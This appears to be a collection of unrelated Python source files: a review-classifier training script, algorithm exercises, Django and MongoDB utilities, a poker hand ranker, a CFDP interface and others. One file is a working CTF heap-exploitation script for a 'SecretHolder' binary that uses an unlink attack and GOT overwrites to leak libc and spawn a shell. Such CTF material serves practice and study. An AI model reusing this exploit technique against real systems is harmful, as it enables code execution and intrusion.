import json
import os

import torch
from torch import nn, optim
from tqdm import tqdm

from args import args
from helper import compute_accuracy, count_parameters
from models import ReviewClassifierBiGRU
from datasets import ReviewDataset, get_num_batches, generate_rnn_batches

if os.path.exists(args.model_state_filepath):
    print('Model file already exists. Press enter to override and start new training.')
    input()

if not os.path.exists(args.reviews_json_train_filepath):
    with open(args.reviews_json_filepath, 'r') as source, open(args.reviews_json_train_filepath, 'w') as dest:
        for i, line in enumerate(source):
            if i >= args.reviews_train:
                break
            dest.write(line)

# create dataset and vectorizer
tokenizer = 'basic_english'
dataset = ReviewDataset.load_dataset_and_make_vectorizer(args.reviews_json_train_filepath, args.words_limit, args.max_review_words, tokenizer)
dataset.save_vectorizer(args.vectorizer_filepath)
vectorizer = dataset.get_vectorizer()

classifier = ReviewClassifierBiGRU(embeddings=vectorizer.review_vectors,
                                 hidden_dim=args.hidden_features,
                                 output_dim=len(vectorizer.rating_vocab),
                                 padding_idx=vectorizer.review_vocab['<pad>'],
                                 num_layers=args.num_layers,
                                 dropout=args.dropout_p)
classifier.to(args.device)
print(f'The models has {count_parameters(classifier):,} trainable parameters')

loss_func = nn.CrossEntropyLoss()
optimizer = optim.Adam(classifier.parameters(), lr=args.learning_rate)

train_size = int(0.7 * len(dataset))
val_size = len(dataset) - train_size
train_dataset, val_dataset = torch.utils.data.random_split(dataset, [train_size, val_size])

training_loss = []
training_acc = []
val_loss = []
val_acc = []
best_acc = 0.0
with tqdm(total=args.num_epochs * get_num_batches(train_dataset, args.batch_size)) as train_bar:
    for epoch_index in range(args.num_epochs):

        batch_generator = generate_rnn_batches(train_dataset, batch_size=args.batch_size, device=args.device)

        running_loss = 0.0
        running_acc = 0.0
        classifier.train()

        for batch_index, batch_dict in enumerate(batch_generator):
            # the training routine is these 5 steps:

            # --------------------------------------
            # step 1. zero the gradients
            optimizer.zero_grad()

            # step 2. compute the output
            y_pred = classifier(batch_dict['x_data'], batch_dict['x_length'])

            # step 3. compute the loss
            loss = loss_func(y_pred, batch_dict['y_target'])
            loss_t = loss.item()
            running_loss += (loss_t - running_loss) / (batch_index + 1)

            # step 4. use loss to produce gradients
            loss.backward()

            # step 5. use optimizer to take gradient step
            optimizer.step()
            # -----------------------------------------
            # compute the accuracy
            acc_t = compute_accuracy(y_pred, batch_dict['y_target'])
            running_acc += (acc_t - running_acc) / (batch_index + 1)

            # update bar
            train_bar.set_postfix(loss=running_loss, acc=running_acc, epoch=epoch_index)
            train_bar.update()

        # save training state
        training_loss.append(running_loss)
        training_acc.append(running_acc)

        # Validation
        batch_generator = generate_rnn_batches(val_dataset, batch_size=args.batch_size, device=args.device)
        running_loss = 0.
        running_acc = 0.
        classifier.eval()

        for batch_index, batch_dict in enumerate(batch_generator):
            # compute the output
            y_pred = classifier(batch_dict['x_data'], batch_dict['x_length'])

            # step 3. compute the loss
            loss = loss_func(y_pred, batch_dict['y_target'])
            loss_t = loss.item()
            running_loss += (loss_t - running_loss) / (batch_index + 1)

            # compute the accuracy
            acc_t = compute_accuracy(y_pred, batch_dict['y_target'])
            running_acc += (acc_t - running_acc) / (batch_index + 1)

        print(f'\nEpoch {epoch_index} validation loss:{running_loss}, validation acc:{running_acc}')

        # save validation state
        val_loss.append(running_loss)
        val_acc.append(running_acc)

        with open(args.training_history_filepath, 'w') as fp:
            json.dump({
                'training_loss': training_loss,
                'training_acc': training_acc,
                'val_loss': val_loss,
                'val_acc': val_acc,
            }, fp)

        # save first models or if acc is better than best acc
        if len(val_acc) == 1 or running_acc > best_acc:
            best_acc = running_acc
            torch.save(classifier.state_dict(), args.model_state_filepath)
            print(f'Validation accuracy increased. Saving models: {epoch_index}')

Yelp rewiews Multi Layer BiGRU with GloVe embeddings/train.py


"""
-------------------------------------------------
   File Name：     DP
   Author :        wxh
   date：          19-2-8
   Description :  　动态规划的练习题
-------------------------------------------------
   Change Activity:
                   19-2-8:
-------------------------------------------------
"""
__author__ = 'wxh'

'''
题目: 给出一个数组，求不相邻的子数组的最大和
'''

'''使用递归实现'''

def rec_dp(arr, i):
    if i == 0:
        return arr[0]
    elif i == 1:
        return max(arr[0], arr[1])
    else:
        A = rec_dp(arr, i - 2) + arr[i]
        B = rec_dp(arr, i - 1)
    return max(A, B)

'''使用非递归实现'''

def dp_opt(arr, i):
    tmp = [0 for i in range(len(arr))]
    tmp[0] = arr[0]
    tmp[1] = max(arr[0], arr[1])

    for j in range(2, len(arr)):
        A = tmp[j - 2] + arr[j]
        B = tmp[j - 1]

        tmp[j] = max(A, B)

    return tmp[i]

'''
题目2:题目描述
    7
   3 8
  8 1 0
 2 7 4 4
4 5 2 6 5
如上图所示，从一个数字三角形的顶部走到底部有很多条不同的路径，规则是只能从当前节点走到下一层相邻的节点，即下一层的左边或右边。
例如第三行第二个数字“1”只能走到第四行的第二个数字“7”与第三个数字“4”。
请寻找最佳一条路径，使得这条路径上节点的数字总和最大。
输入描述:
输入包含多组。每组数据的第一行包含一个正整数n（1≤n≤100），代表三角形的层数。

紧接着有n行数字，第i（1≤i≤n）行包含i个自然数。
输出描述:
对应每组数据，输出最大的和。
示例1
输入:
5
7
3 8
8 1 0
2 7 4 4
4 5 2 6 5
输出:30
'''

def get_max_path(n, pList):
    '''传入的参数是三角形'''
    temp = [None for i in range(n)]
    temp[0] = pList[0][0]
    for i in range(1, n - 1):
        for j in range(len(pList[i])):
            if i + 1 < n:
                A = temp[i-1] + pList[i][j] + pList[i+1][j]
                B = temp[i-1] + pList[i][j] + pList[i+1][j+1]

                temp[i] = max(A,B)

    return temp[n-2]

if __name__ == "__main__":
    arr = [[7], [3, 8], [8, 1, 0], [2, 7, 4, 4], [4, 5, 2, 6, 5]]
    print(get_max_path(5,arr))


# -*- coding: utf-8 -*-

import pandas as pd
# read the product information
chemical_info = pd.read_excel("ComplementaryData/chemicals_info.xlsx")

# input readme file
with open('README.md') as f:
    lines = f.readlines()
part1 =lines[0:20]
index0 = lines.index("## Installation\n")
part2 = lines[index0:]

newline1 = '* Product list:\n'
product_template ='| Name | Formula | KEGG ID | CHEBI ID | Group | class | Gene target |\n'
newline2 = '|:-------:|:--------------:|:---------:|:----------:|:-----:|:-----:|:-----:|\n'
products_info = []
for i, x in chemical_info.iterrows():
    print(i, x)
    newline0 = product_template.replace("Name", x["Name"]).replace("Formula", str(x["Formula"])).replace("KEGG ID", str(x["KEGG ID"])).\
        replace("CHEBI ID", str(x["CHEBI ID"])).replace("Group", x["Group"]).replace("class", x["class"])
    # query the gene target prediction result
    newline0 = newline0.replace("Gene target", "Link")
    products_info.append(newline0)

# combine the product information as a readme file
new_lines = part1 + [newline1] + ['\n'] + [product_template] + [newline2] + products_info + part2

out = open('README.md', 'w')
for line in new_lines:
    print(line)
    out.write(line)
out.close()


#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
from mkpwn import *

# settings
local   = True
debug   = False

if local:
    target  = './SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8'
else:
    target  = ('0', 0)

# get io
io  = mk(target, debug)

# info
# 1. small secret   0x28
# 2. big secret     0xfa0
# 3. huge secret    0x61a80

# global
big_note_adr    = 0x6020a0
huge_note_adr   = 0x6020a8
small_note_adr  = 0x6020b0
got_atoi        = 0x602070
got_free        = 0x602018
plt_puts        = 0x4006c0
offset_atoi     = 0x039f50
offset_system   = 0x046640

# exp

val = lambda x: str(x).rjust(0x3, '0')

def exp():
    # malloc huge; free huge
    io.pr(0x1, 0x3, 'C' * 0x100)
    io.pr(0x2, 0x3)

    # malloc small; malloc big
    io.pr(0x1, 0x1, 'A' * 0x20)
    io.pr(0x1, 0x2, 'B' * 0x80)

    # free small; free big
    io.pr(0x2, 0x1)
    io.pr(0x2, 0x2)

    # malloc huge
    # chunk 0 (unlinked)
    payload  = l64(0x0) + l64(0x30) + l64(huge_note_adr - 0x8 * 3) + l64(huge_note_adr - 0x8 * 2)
    # chunk 1 (free'd)
    payload += l64(0x20) + l64(0xa0)
    payload += 'A' * 0x90
    # chunk 2
    payload += l64(0x0) + l64(0xa1)
    payload += 'A' * 0x90
    # chunk 3 (pre_inuse should be set 0x1 to make sure chunk 2 is not free, so that chunk 2 wont be unlinked)
    payload += l64(0x0) + l64(0xa1)
    io.pr(0x1, 0x3, payload)

    # free big => unlink
    io.pr(0x2, 0x2)

    # overwrite ptr @.bss
    payload  = 'A' * 0x10
    payload += l64(got_atoi) + l64(got_free) + l64(got_atoi) + l32(0x1) * 3
    io.pr(0x3, 0x3, payload)

    # overwrite free@got
    io.pr(0x3, 0x3, l64(plt_puts) + l64(plt_puts + 0x6))

    # call printf to leak
    io.pr(0x2, 0x2)

    # get libc info
    for i in xrange(0xb): io.ru('3. Renew secret')
    io.ru('3. Huge secret\n')
    libc_atoi   = l64(io.rl()[:-1].ljust(0x8, '\x00'))
    libc_system = libc_atoi + offset_system - offset_atoi
    info_found('libc atoi', libc_atoi)
    info_found('libc system', libc_system)

    # overwrite atoi @got to address of system
    io.pr(0x3, 0x1, l64(libc_system))

    # send 'sh' to system
    io.pr('sh\x00')

    info_shell()
    io.interact()

# main
if __name__ == '__main__':
    exp()


from django.contrib import admin
from django.urls import path, include
from .import views

urlpatterns = [
    path('', views.alllocs, name = 'alllocs'),
    path('add/', views.add, name='add'),
    path('mylocs/',views.mylocs, name = 'mylocs'),
    path('<int:loc_id>/delete_loc/', views.delete_loc, name = 'delete_loc'),
    path('api/', include('locations.api.urls')),
    # path('', HomePageView.as_view(), name='allblogs'),
]


#! /usr/bin/env python

import os
import pymongo
import sys
import time
from subprocess import call

client = pymongo.MongoClient('localhost', 27017)
if sys.argv[1] == u'test':
    db = client.test
    file_name = u'/tmp/iateststatus'
else:
    db = client.account_instance
    file_name = u'/tmp/iastatus'

account_table = db.account_table
timestamp = u'%f' % time.time()

ret = account_table.find({}, {u'_id':1, u'secondarys':1})
accounts = []
for item in ret:
    primary_id = item[u'_id']
    accounts.append(primary_id)
    secondarys = item[u'secondarys']
    for secondary_id in secondarys:
        accounts.append(secondary_id)

with open(file_name, u'w') as f:
    f.write('updating')

os.chdir(os.path.dirname(__file__))
for account_id in accounts:
    call([u'./get.sh', sys.argv[1], timestamp, account_id])

with open(file_name, u'w') as f:
    f.write('normal')


from Fight_monsters.role import hero_test,monster_test
def next_one(monster_List:list):
    assert  type(monster_List) is list
    if len(monster_List) > 0:
        return monster_List[0]
if __name__ == '__main__':
    hero = hero_test('hero', 'human')
    monster1 = monster_test('虾兵', 1)
    monster2 = monster_test('蟹将', 2)
    monster3 = monster_test('龙王', 3)
    monster_list = [monster1,monster2,monster3]
    round = 1
    while hero.get_nowhp() > 0 and len(monster_list) > 0:
        monster = next_one(monster_list)
        while monster.get_nowhp() > 0:
            print('回合{}:'.format(round))
            hero.attact(monster)
            if hero.get_nowhp() > 0:
                monster.attact(hero)
                if hero.get_nowhp() == 0:
                    print(hero)
                    print(monster)
                    break
            print(hero)
            print(monster)
            round += 1
        if monster.get_nowhp() <= 0:
            monster_list.remove(monster)
            hero.up_level()
            monster= next_one(monster_list)
    if hero.get_nowhp() > 0:
        print('WIN!')
    else:
        print('LOSE!')


import logging
from abc import abstractmethod, ABC
from dataclasses import dataclass
from typing import List, Optional

from spacepackets.cfdp import ConditionCode, FileStoreResponseTlv, MessageToUserTlv
from spacepackets.cfdp.pdu.file_data import RecordContinuationState
from spacepackets.cfdp.pdu.finished import DeliveryCode, FileDeliveryStatus
from spacepackets.util import UnsignedByteField
from tmtccmd.cfdp.defs import TransactionId
from tmtccmd.cfdp.filestore import VirtualFilestore, HostFilestore

_LOGGER = logging.getLogger(__name__)

@dataclass
class MetadataRecvParams:
    transaction_id: TransactionId
    source_id: UnsignedByteField
    file_size: Optional[int]
    source_file_name: Optional[str]
    dest_file_name: Optional[str]
    msgs_to_user: Optional[List[MessageToUserTlv]] = None

@dataclass
class TransactionFinishedParams:
    transaction_id: TransactionId
    condition_code: ConditionCode
    file_status: FileDeliveryStatus
    delivery_code: DeliveryCode
    fs_responses: Optional[List[FileStoreResponseTlv]] = None
    status_report: Optional[any] = None

@dataclass
class FileSegmentRecvdParams:
    """The length of the segment metadata is not supplied as an extra parameter as it can be
    simply queried with len(segment_metadata)
    """

    transaction_id: TransactionId
    offset: int
    length: int
    record_cont_state: Optional[RecordContinuationState]
    segment_metadata: Optional[bytes]

class CfdpUserBase(ABC):
    """This user base class provides the primary user interface to interact with CFDP handlers.
    It is also used to pass the Virtual Filestore (VFS) implementation to the CFDP handlers
    so the filestore operations can be mapped to the underlying filestore.

    This class is used by implementing it in a child class and then passing it to the CFDP
    handler objects. The base class provides default implementation for the user indication
    primitives specified in the CFDP standard. The user can override these implementations
    to provide custom indication handlers.
    """

    def __init__(self, vfs: Optional[VirtualFilestore] = None):
        if vfs is None:
            vfs = HostFilestore()
        self.vfs = vfs

    @abstractmethod
    def transaction_indication(self, transaction_id: TransactionId):
        """This indication is used to report the transaction ID to the CFDP user"""
        _LOGGER.info(f"Transaction.indication for {transaction_id}")

    @abstractmethod
    def eof_sent_indication(self, transaction_id: TransactionId):
        _LOGGER.info(f"EOF-Sent.indication for {transaction_id}")

    @abstractmethod
    def transaction_finished_indication(self, params: TransactionFinishedParams):
        _LOGGER.info(
            f"Transaction-Finished.indication for {params.transaction_id}. Parameters:"
        )
        print(params)

    @abstractmethod
    def metadata_recv_indication(self, params: MetadataRecvParams):
        _LOGGER.info(
            f"Metadata-Recv.indication for {params.transaction_id}. Parameters:"
        )
        print(params)

    @abstractmethod
    def file_segment_recv_indication(self, params: FileSegmentRecvdParams):
        _LOGGER.info(
            f"File-Segment-Recv.indication for {params.transaction_id}. Parameters:"
        )
        print(params)

    @abstractmethod
    def report_indication(self, transaction_id: TransactionId, status_report: any):
        # TODO: p.28 of the CFDP standard specifies what information the status report parameter
        #       could contain. I think it would be better to not hardcode the type of the status
        #       report here, but something like Union[any, CfdpStatusReport] with CfdpStatusReport
        #       being an implementation which supports all three information suggestions would be
        #       nice
        pass

    @abstractmethod
    def suspended_indication(
        self, transaction_id: TransactionId, cond_code: ConditionCode
    ):
        _LOGGER.info(
            f"Suspended.indication for {transaction_id} | Condition Code: {cond_code}"
        )

    @abstractmethod
    def resumed_indication(self, transaction_id: TransactionId, progress: int):
        _LOGGER.info(
            f"Resumed.indication for {transaction_id} | Progress: {progress} bytes"
        )

    @abstractmethod
    def fault_indication(
        self, transaction_id: TransactionId, cond_code: ConditionCode, progress: int
    ):
        _LOGGER.warning(
            f"Fault.indication for {transaction_id} | Condition Code: {cond_code} | "
            f"Progress: {progress} bytes"
        )

    @abstractmethod
    def abandoned_indication(
        self, transaction_id: TransactionId, cond_code: ConditionCode, progress: int
    ):
        _LOGGER.warning(
            f"Abandoned.indication for {transaction_id} | Condition Code: {cond_code} | "
            f"Progress: {progress} bytes"
        )

    @abstractmethod
    def eof_recv_indication(self, transaction_id: TransactionId):
        _LOGGER.info(f"EOF-Recv.indication for {transaction_id}")


from poker_desk import Poker_Deck
import math

class Poker (object):
  """
    Combination are ranked as follows (from high to low):
  --- Royal (Royal is the highest possible hand. If more than one hand has Royal, the higher card wins (Five Aces beats five kings, which beat five queens, and so on).
Straight Flush)
  --- Straight Flush (A straight flush is the best natural hand. A straight flush is a straight (5 cards in order, such as 5-6-7-8-9) that are all of the same suit. As in a regular straight, you can have an ace either high (A-K-Q-J-T) or low (5-4-3-2-1). However, a straight may not 'wraparound'.)
  --- Four of a Kind (Four of a kind is simply four cards of the same rank. If there are two or more hands that qualify, the hand with the higher-rank four of a kind wins. If, in some bizarre game with many wild cards, there are two four of a kinds with the same rank, then the one with the high card outside the four of the kind wins.)
  --- Full House (A full house is a three of a kind and a pair, such as K-K-K-5-5. Ties are broken first by the three of a kind, then pair. So K-K-K-2-2 beats Q-Q-Q-A-A, which beats Q-Q-Q-J-J.)
  --- Flush (A flush is a hand where all of the cards are the same suit, such as J-8-5-3-2, all of spades.)
  --- Straight (A straight is 5 cards in order, such as 4-5-6-7-8. An ace may either be high (A-K-Q-J-T) or low (5-4-3-2-1). However, a straight may not 'wraparound'. (Such as Q-K-A-2-3, which is not a straight). When straights tie, the highest straight wins.)
  --- Three of a Kind (Three cards of any rank, matched with two cards that are not a pair (otherwise it would be a Full House . )
  --- Two Pair (This is two distinct pairs of card and a 5th card. The highest pair wins ties. If both hands have the same high pair, the second pair wins. If both hands have the same pairs, the high card wins.)
  --- Pair (One pair with three distinct cards. High card breaks ties.)
  --- High Card (This is any hand which doesn't qualify as any one of the above hands. If nobody has a pair or better, then the highest card wins. If multiple people tie for the highest card, they look at the second highest, then the third highest etc. High card is also used to break ties when the high hands both have the same type of hand (pair, flush, straight, etc).)
  """
  def __init__ (self, numPlayers):

    card_quant = 5

    self.players = []
    self.list_t=[]
    self.deck = Poker_Deck()
    self.deck.shuffle ()

    for i in range (numPlayers):
      player = []
      for j in range (card_quant):
        player.append (self.deck.deal())
      self.players.append (player)

  def play (self):
    for i in range (len (self.players) ):
      s_Player = sorted (self.players[i], reverse = True)
      player = ""
      for card in s_Player:
        player = player + str(card) + " "
      print ("Player " + str(i + 1) + " holds " + player)

  def amount(self,player):
    s_Player=sorted(player,reverse=True)
    c_sum=0
    ranks=[]
    for card in s_Player:
      ranks.append(card.rank)
    c_sum=ranks[0]*13**4+ranks[1]*13**3+ranks[2]*13**2+ranks[3]*13+ranks[4]
    return c_sum

  def High (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=1
    tot_amount=h*13**5+self.amount(s_Player)
    sequence=[]
    for card in s_Player:
      sequence.append(card.rank)
    print ("High Card")
    self.list_t.append(tot_amount)

  def One (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=2
    tot_amount=h*13**5+self.amount(s_Player)
    sequence=[]
    mycount=[]
    for card in s_Player:
      sequence.append(card.rank)
    for each in sequence:
      count=sequence.count(each)
      mycount.append(count)
    if mycount.count(2)==2 and mycount.count(1)==3:
      logic=True
      print ("One Pair")
      self.list_t.append(tot_amount)

    else:
      logic=False
      self.High(s_Player)

  def Two (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=3
    tot_amount=h*13**5+self.amount(s_Player)
    rank1=s_Player[1].rank
    rank2=s_Player[3].rank
    sequence=[]
    for card in s_Player:
      sequence.append(card.rank)
    if sequence.count(rank1)==2 and sequence.count(rank2)==2:
      logic=True
      print ("Two Pair")
      self.list_t.append(tot_amount)

    else:
      logic=False
      self.One(s_Player)

  def Three (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=4
    tot_amount=h*13**5+self.amount(s_Player)
    Currank=s_Player[2].rank
    sequence=[]
    for card in s_Player:
      sequence.append(card.rank)
    if sequence.count(Currank)==3:
      logic=True
      print ("Three of a Kind")
      self.list_t.append(tot_amount)

    else:
      logic=False
      self.Two(s_Player)

  def Straight (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=5
    tot_amount=h*13**5+self.amount(s_Player)
    Currank=s_Player[0].rank
    for card in s_Player:
      if card.rank!=Currank:
        logic=False
        break
      else:
        Currank-=1
    if logic:
      print("Straight")
      self.list_t.append(tot_amount)

    else:
      self.Three(s_Player)

  def Flush (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=6
    tot_amount=h*13**5+self.amount(s_Player)
    Cursuit=s_Player[0].ctype
    for card in s_Player:
      if not(card.ctype==Cursuit):
        logic=False
        break
    if logic:
      print ("Flush")
      self.list_t.append(tot_amount)

    else:
      self.Straight(s_Player)

  def Full (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=7
    tot_amount=h*13**5+self.amount(s_Player)
    sequence=[]
    for card in s_Player:
      sequence.append(card.rank)
    rank1=s_Player[0].rank
    rank2=s_Player[-1].rank
    num_rank1=sequence.count(rank1)
    num_rank2=sequence.count(rank2)
    if (num_rank1==2 and num_rank2==3)or (num_rank1==3 and num_rank2==2):
      logic=True
      print ("Full House")
      self.list_t.append(tot_amount)

    else:
      logic=False
      self.Flush(s_Player)

  def Four (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=8
    Currank=s_Player[1].rank
    count=0
    tot_amount=h*13**5+self.amount(s_Player)
    for card in s_Player:
      if card.rank==Currank:
        count+=1
    if not count<4:
      logic=True
      print("Four of a Kind")
      self.list_t.append(tot_amount)

    else:
      self.Full(s_Player)

  def StraightFlush (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=9
    Cursuit=s_Player[0].ctype
    Currank=s_Player[0].rank
    tot_amount=h*13**5+self.amount(s_Player)
    for card in s_Player:
      if card.ctype!=Cursuit or card.rank!=Currank:
        logic=False
        break
      else:
        Currank-=1
    if logic:
      print ("Straight Flush")
      self.list_t.append(tot_amount)
    else:
      self.Four(s_Player)

  def Royal (self, player):
    s_Player=sorted(player,reverse=True)
    logic=True
    h=10
    Cursuit=s_Player[0].ctype
    Currank=14
    tot_amount=h*13**5+self.amount(s_Player)
    for card in s_Player:
      if card.ctype!=Cursuit or card.rank!=Currank:
        logic=False
        break
      else:
        Currank-=1
    if logic:
        print("Royal Flush")
        self.list_t.append(tot_amount)
    else:
      self.StraightFlush(s_Player)


#!/usr/bin/python
#-*- coding:utf-8 -*-

import sys
import struct
import numpy as np
from torch import tensor
from torch.nn import functional as fn

def prelu_f32():
    para = []
    # init the input data and parameters
    batch       = int(np.random.randint(1, high=3, size=1))
    in_size_x   = int(np.random.randint(4, high=8, size=1))
    in_size_y   = int(np.random.randint(4, high=8, size=1))
    in_channel  = int(np.random.randint(8, high=16, size=1))
    zero_point1 = int(np.random.randint(-6, high=6, size=1))
    std1        = int(np.random.randint(1, high=20, size=1))
    zero_point2 = int(np.random.randint(0, high=1, size=1))
    std2        = int(np.random.randint(1, high=2, size=1))

    src_in = np.random.normal(zero_point1, std1, (batch, in_channel, in_size_y, in_size_x))
    weight = np.random.normal(zero_point2, std2, in_channel)
    src_in = src_in.astype(np.float32)
    weight = weight.astype(np.float32)

    t_src_in  = tensor(src_in)
    t_weight  = tensor(weight)
    t_src_out = fn.prelu(t_src_in, t_weight).numpy()

    # permute nchw to nhwc
    # src_in_nhwc = np.transpose(src_in, [0, 2, 3, 1])
    # out_nhwc    = np.transpose(t_src_out, [0, 2, 3, 1])

    src_in_1  = t_src_in.flatten()
    src_out_1 = t_src_out.flatten()

    total_size = (len(src_in_1) + len(src_out_1)) + len(weight) + 4

    para.append(total_size)
    para.append(batch)
    para.append(in_channel)
    para.append(in_size_y)
    para.append(in_size_x)
    print(para)

    with open("prelu_data_f32.bin", "wb") as fp:
        data = struct.pack(('%di' % len(para)), *para)
        fp.write(data)
        data = struct.pack(('%df' % len(src_in_1)), *src_in_1)
        fp.write(data)
        data = struct.pack(('%df' % len(weight)), *weight)
        fp.write(data)
        data = struct.pack(('%df' % len(src_out_1)), *src_out_1)
        fp.write(data)
        fp.close()

    return 0

if __name__ == '__main__':
    prelu_f32()
    print("end")


import json
from tempfile import NamedTemporaryFile

SOURCE_FORMAT_EXTENSION = {
    'CSV': '.csv',
    'TSV': '.tsv',
    'JSON_NEWLINE': '.json'
}

class FeedService:
    def __init__(self, app):
        """
        :type app: metasdk.MetaApp
        """
        self.__app = app
        self.__options = {}
        self.__data_get_cache = {}
        self.__data_get_flatten_cache = {}
        self.__metadb = app.db("meta")
        self.__media = app.MediaService
        self.__starter = app.StarterService

    def get_feed(self, datasource_id):
        """
        Получение настроек для фида
        :param datasource_id: идентификатор фида
        :return: FeedDataSource
        """
        info = self.__metadb.one(
            """
            SELECT to_json(ds) as datasource
                 , to_json(fc) as connector
                 , to_json(fct) as connector_type
                 , to_json(ctp) as connector_type_preset
                 , json_build_object('email', u.email, 'full_name', u.full_name) as author_user
              FROM meta.feed_datasource ds
              LEFT JOIN meta.feed_connector fc
                     ON fc.id=ds.connector_id
              LEFT JOIN meta.feed_connector_type fct
                     ON fct.id=fc.connector_type_id
              LEFT JOIN meta.feed_connector_type_preset ctp
                     ON ctp.id=ds.connector_type_preset_id
              LEFT JOIN meta.user_list u
                     ON u.id=ds.author_user_id
             WHERE ds.id = :datasource_id::uuid
            """,
            {"datasource_id": datasource_id}
        )
        return FeedDataSource(**info)

    def get_data(self, datasource, callback):
        """
        Сохранение медиафайла
        :param task:
        :param media_metadata:
        :param file_suffix:
        :param callback:
        :return:
        """
        task = self.__app.worker.current_task
        media_metadata = datasource.connector_type_preset['preset_data']['media_metadata']
        result_data = task['result_data']
        tmp_file = NamedTemporaryFile(delete=False, suffix=SOURCE_FORMAT_EXTENSION.get(media_metadata['sourceFormat']))
        self.__app.log.info("Открываем файл", {"filename": tmp_file.name})
        with open(tmp_file.name, 'wb') as f:
            callback(f)

        self.__app.log.info("start media upload")

        result_data['stage_id'] = "persist_media_file"
        self.__starter.update_task_result_data(task)
        result = self.__media.upload(open(tmp_file.name), {
            "ttlInSec": 60 * 60 * 24,  # 24h
            "entityId": 2770,
            "objectId": task.get('data', {}).get("ds_id"),
            "info": {"metadata": media_metadata}
        })

        result_data['stage_id'] = "generate_media_finish"
        result_data['media_id'] = result['id']
        self.__starter.update_task_result_data(task)

        return result

    def datasource_process(self, datasource_id):
        """
        deprecated
        Запускает настроенные обработки в фиде
        :param datasource_id: uuid
        """
        # TODO Выпилить потом класс используется для другого
        # TODO без applicationId не выбираются поля сущностей. Подумать на сколько это НЕ нормально
        response = self.__app.native_api_call('feed', 'datasource/' + datasource_id + '/process?applicationId=1', {},
                                              self.__options, False, None, False, http_method="POST")
        return json.loads(response.text)

class FeedDataSource:
    """
    Класс хранения данных по коннектору
    """

    def __init__(self, datasource, author_user, connector, connector_type, connector_type_preset):
        self.datasource = datasource
        self.author_user = author_user
        self.connector = connector
        self.connector_type = connector_type
        self.connector_type_preset = connector_type_preset


class Solution(object):
    def longestCommonPrefix(self, strs):
        """
        :type strs: List[str]
        :rtype: str
        """
        if len(strs) == 0:
            return ''
        p = 0
        shortest_len = min([len(s) for s in strs])
        while p < shortest_len:
            temp_char = strs[0][p]
            for s in strs:
                if s[p] != temp_char:
                    return s[:p]
            else:
                p += 1
        return strs[0][:shortest_len]


# Your code here

def finder(files, queries):
    """
    YOUR CODE HERE
    """
    cache = {}
    listed_results = [] # Ends up being a nested list of outputs

    for path in files:

        # File_item is just the substring after the last '/'
        file_item = path.split('/')[-1]

        # ends up looking like: {'/foo' : '/bin/foo'}
        if file_item in cache:
            # If the file_item is already in cache we append to the list of values
            cache[file_item].append(path)
        else:
            # if the file_item isn't already in the cache we create an entry for it
            cache[file_item] = [path]

    for query in queries:

        if query in cache:
            listed_results.append(cache[query])

    # Make our nested lists into one list
    results = []

    for sublist in listed_results:
        for item in sublist:
            results.append(item)

    return results

if __name__ == "__main__":
    files = [
        '/bin/foo',
        '/bin/bar',
        '/usr/bin/baz'
    ]
    queries = [
        "foo",
        "qux",
        "baz"
    ]
    print(finder(files, queries))


"""
Build steps for creating views of the data to analyze.
"""

from metacell.dynamake.common import *  # pylint: disable=wildcard-import,unused-wildcard-import

# pylint: disable=missing-docstring

@step(output=phony('view_included'))
async def make_included() -> None:
    require('views/included/profiles.yaml')

@step(output='views/{*name}/profiles.yaml')
async def pick_view(**_kwargs: str) -> None:
    erequire(optional('views/{name}/g.base_index.npy'))
    await ecall(view_dir='views/{name}',
                profiles_dir='cells')

@step(output=optional('views/{*name}/g.base_index.npy'))
async def pick_view_genes(**_kwargs: str) -> None:
    erequire(optional('views/{name}/p.base_index.npy'))
    excluded_genes_names_file = erequire_ancestor('views/{name}/excluded_genes_names.txt')

    # *Not* configurable. Only exclude genes by name.
    await ecall(view_dir='views/{name}',
                profiles_dir='cells',
                excluded_genes_names_file=excluded_genes_names_file,
                with_config=True, with_parallel=True)

@step(output=optional('views/{*name}/p.base_index.npy'))
async def pick_view_profiles(**_kwargs: str) -> None:
    await ecall(view_dir='views/{name}',
                profiles_dir='cells',
                with_config=True)

@step(output=optional('{**profiles_dir}/g.rare_module.npy', '{**profiles_dir}/p.rare_module.npy'))
async def pick_rare_behaviors(**_kwargs: str) -> None:
    erequire('{profiles_dir}/g.max_umis.npy', '{profiles_dir}/g.non_zero_fraction.npy')
    await ecall(profiles_dir='{profiles_dir}',
                with_config=True, with_parallel=True)


#!/usr/bin/env python
#coding=utf-8

import web
from datetime import *
from os import *
import httplib

urls=('/(.*)','index')
app=web.application(urls,globals())

def take_photo():
	dt=datetime.now()
	s= dt.strftime('%Y%m%d%H%M%S')
	mypath=s+'.jpg'
	system('raspistill -o '+mypath+' -t 100')
	system('mv '+mypath+' /usr/share/nginx/www/'+mypath)
	return mypath

class index:
	def GET(self,path):
		web.header('Access-Control-Allow-Origin', '*')
		web.header('Access-Control-Allow-Credentials', 'true')
		mypath=take_photo()
		return  mypath

if __name__=="__main__":
	app.run()


# -*- encoding: utf-8 -*-
# from django.db.models import Q
# from django.shortcuts import render_to_response, HttpResponse
# from django.template import RequestContext
# from forms import CorrespondenciaForm, CorrespondenciaArForm
# from django.http import HttpResponseRedirect
# from adscripciones.models import Adscripcion
# from contratos.models import  Datos_persona, Codigo
# from correspondencias.models import Correspondencia, CorrespondenciaAr
# from django.core.context_processors import csrf
# from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
# from openpyxl import Workbook
# from openpyxl.style import Color, Fill
# from openpyxl.drawing import Image
# from reportlab.pdfgen import canvas
# from io import BytesIO
from django.shortcuts import render
from django.views.generic import TemplateView
from django.views.generic.list import ListView
from django.contrib.admin.models import LogEntry

class dashboardView(TemplateView):
	template_name = 'dashboard.html'

class logView(ListView):
	queryset = LogEntry.objects.all()

	# model = LogEntry
	#
	# def get_context_data(self, **kwargs):
	# 	context = super(logView, self).get_context_data(**kwargs)
	# 	return context

# #ROAV --------------- View's to make a search's ---------------

# #ROAV ----- View to search into Archivo. -----
